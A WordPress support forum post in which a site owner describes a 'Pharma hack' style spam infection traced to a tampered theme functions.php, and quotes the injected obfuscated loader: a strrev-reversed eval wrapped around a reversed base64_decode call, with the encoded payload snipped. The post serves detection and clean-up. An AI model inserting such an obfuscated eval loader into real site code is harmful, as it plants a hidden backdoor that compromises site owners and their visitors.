edoced_46esab malware in theme directory
-
Hi all,
After upgrading to WordPress 4.x we started to notice malware inserting links about ‘clomid side effects’ into certain pages. These links were not always easy to read but were beginning to show up in Google searches for our site, so we assumed an SEO attack. Searching for the cause led us to descriptions of the Pharma hack, but the WordPress database did not contain any of the tell-tale entries for that hack.
However the tip on Pharma fix pages that malware writers reverse base64_decode to become edoced_46esab lead us to find a rogue version of the file functions.php in our custom theme, with a date stamp of Jan 7 05:25 (i.e. just over a week ago).
The file had been modified to insert at the beginning:
<?php $wp_function_initialize = create_function('$a',strrev(';)a$(lave'));$wp_function_initialize(strrev(';))"=oQD9pQD7kiIwhGc <snip> pR3YuVnZoYWa"(edoced_46esab(lave'));?>
We have now removed this file and the effect of the hack is gone for now. We have also changed site passwords. I hope this information is useful for others with the same problem.
- The topic ‘edoced_46esab malware in theme directory’ is closed to new replies.